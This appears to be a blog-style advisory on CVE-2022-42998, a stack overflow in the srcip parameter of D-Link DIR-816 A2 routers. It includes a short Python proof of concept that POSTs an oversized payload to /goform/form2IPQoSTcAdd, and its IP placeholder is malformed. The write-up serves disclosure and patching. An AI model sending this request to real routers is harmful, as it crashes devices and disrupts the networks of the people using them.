CVE-2022-42998: Exploring the Stack Overflow Vulnerability in D-Link DIR-816 A2 1.10 B05 Routers

A recent vulnerability was reported concerning D-Link DIR-816 A2 1.10 B05 routers, which affects the security and stability of its users. The vulnerability, coined as (CVE-2022-42998)[https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-42998], exploits a stack overflow issue within the router's firmware. The primary issue takes place within the srcip parameter found at /goform/form2IPQoSTcAdd. In this article, we'll dive into key details of this vulnerability and demonstrate how an attacker might exploit it.

Original References

1. MITRE's CVE-2022-42998: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-42998
2. NIST NVD for CVE-2022-42998: https://nvd.nist.gov/vuln/detail/CVE-2022-42998

Vulnerability Details

A stack overflow is a type of buffer overflow that occurs when the program writing data to a buffer exceeds the limit of that buffer on the call stack. The excess data then spills over to adjacent parts of the memory, which can lead to corruption of critical information or even the exploitation of the system.

The D-Link DIR-816 A2 1.10 B05 contains such a vulnerability in its firmware. The router's srcip parameter, located at /goform/form2IPQoSTcAdd, is subject to a buffer overflow exploit. An attacker can take advantage of this vulnerability to cause a Denial of Service (DoS) attack, crash the router, or even execute arbitrary code on the router's system.

As the D-Link DIR-816 router is popular among home users, it is crucial that users patch their routers immediately to prevent potential exploitation and protect the integrity of their systems.

Code Snippet Example

The vulnerability can be triggered through a crafted HTTP POST request to the target router's /goform/form2IPQoSTcAdd entry point with a malicious "srcip" parameter. An example of such an exploit is given below:

import requests

target_ip = "192.168..1"  # Replace with the target router's IP address
malicious_srcip = "A" * 4096  # Crafting the payload to cause buffer overflow

# Constructing POST request with the malicious payload
url = f"http://{target_ip}/goform/form2IPQoSTcAdd";
data = {
    "srcip": malicious_srcip
}
headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

response = requests.post(url, data=data, headers=headers)

if response.status_code == 200:
    print("Exploit sent successfully!")
else:
    print("Exploit failed!")

Keep in mind that this is just an example of how an attacker could craft a request to exploit this vulnerability. It is not a ready-to-use or a verified proof-of-concept.

Mitigation and Patch

D-Link has acknowledged the issue and is working on releasing a patch for the affected firmware version (1.10 B05). Users of the D-Link DIR-816 A2 router are urged to keep an eye on the official D-Link website (https://support.dlink.com/) and update their firmware as soon as it becomes available.

Conclusion

The CVE-2022-42998 vulnerability is a critical security concern for D-Link DIR-816 A2 1.10 B05 router users, and it must be addressed promptly to avoid potential attacks. Understanding the nature of the issue and how it may be exploited can help users take preventive measures to protect themselves against potential threats. Regularly updating the firmware and staying informed of security updates will go a long way in ensuring a safer and more secure internet experience.

Timeline

Published on: 10/26/2022 19:15:00 UTC
Last modified on: 10/28/2022 14:29:00 UTC